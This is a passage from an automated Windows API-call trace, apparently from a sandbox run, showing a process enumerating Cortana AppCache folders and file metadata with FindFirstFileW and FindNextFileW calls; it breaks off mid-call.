[0216.150] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xec173241, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0216.151] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74be545, ftCreationTime.dwHighDateTime=0x1d70503, ftLastAccessTime.dwLowDateTime=0x74e4667, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0x74e4667, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0216.318] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.319] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e134a22, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e134a22, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e134a22, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0216.320] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0216.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0216.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.321] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1", lpFilePart=0x0) returned 0x6b [0216.322] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\1\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.330] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.330] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e180f7d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x59ebb0a5, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x42840, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", cAlternateFileName="C__WIN~1.TXT")) returned 1 [0216.330] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.330] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.332] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1", lpFilePart=0x0) returned 0x6b [0216.332] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\1\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.333] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x989e4279, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x989e4279, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.333] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e180f7d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x59ebb0a5, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x42840, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", cAlternateFileName="C__WIN~1.TXT")) returned 1 [0216.334] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e180f7d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e180f7d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x59ebb0a5, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x42840, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", cAlternateFileName="C__WIN~1.TXT")) returned 0 [0216.334] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.335] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2", lpFilePart=0x0) returned 0x6b [0216.335] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\2\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.338] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.338] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e28c015, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="appcache[1].man", cAlternateFileName="APPCAC~1.MAN")) returned 1 [0216.338] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e28c015, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.339] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x64ab274a, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x4760, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_COOBE[1].html", cAlternateFileName="C__WIN~1.HTM")) returned 1 [0216.339] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2b228d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x39619610, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x19c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png", cAlternateFileName="C__WIN~1.PNG")) returned 1 [0216.340] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.340] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.341] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2", lpFilePart=0x0) returned 0x6b [0216.341] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\2\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.343] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e2b228d, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.343] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e28c015, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="appcache[1].man", cAlternateFileName="APPCAC~1.MAN")) returned 1 [0216.343] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e28c015, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.343] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e28c015, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e28c015, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x64ab274a, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x4760, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_COOBE[1].html", cAlternateFileName="C__WIN~1.HTM")) returned 1 [0216.344] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2b228d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x39619610, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x19c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png", cAlternateFileName="C__WIN~1.PNG")) returned 1 [0216.344] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2b228d, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x6e2b228d, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x39619610, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x19c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_COOBE_CortanaIcon[1].png", cAlternateFileName="C__WIN~1.PNG")) returned 0 [0216.344] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.345] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6", lpFilePart=0x0) returned 0x6b [0216.346] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\6\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xec173241, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.346] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xec173241, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.347] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebd9357f, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xebd9357f, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x1046, dwReserved0=0x0, dwReserved1=0x0, cFileName="appcache[1].man", cAlternateFileName="APPCAC~1.MAN")) returned 1 [0216.347] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebd9357f, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xebd9357f, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0216.347] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebf36f47, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebf36f47, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f07586, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x38ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt", cAlternateFileName="C_D0E0~1.TXT")) returned 1 [0216.347] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebf5d218, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebf5d218, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f07586, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x12639, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt", cAlternateFileName="C_647E~1.TXT")) returned 1 [0216.347] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec041f56, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec041f56, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f2d924, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x135cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt", cAlternateFileName="C_EAA3~1.TXT")) returned 1 [0216.348] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec041f56, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec041f56, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f2d924, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x3826, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt", cAlternateFileName="C_F04C~1.TXT")) returned 1 [0216.348] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0681fa, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0681fa, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f2d924, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x6a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt", cAlternateFileName="C_988E~1.TXT")) returned 1 [0216.348] FindNextFileW (in: 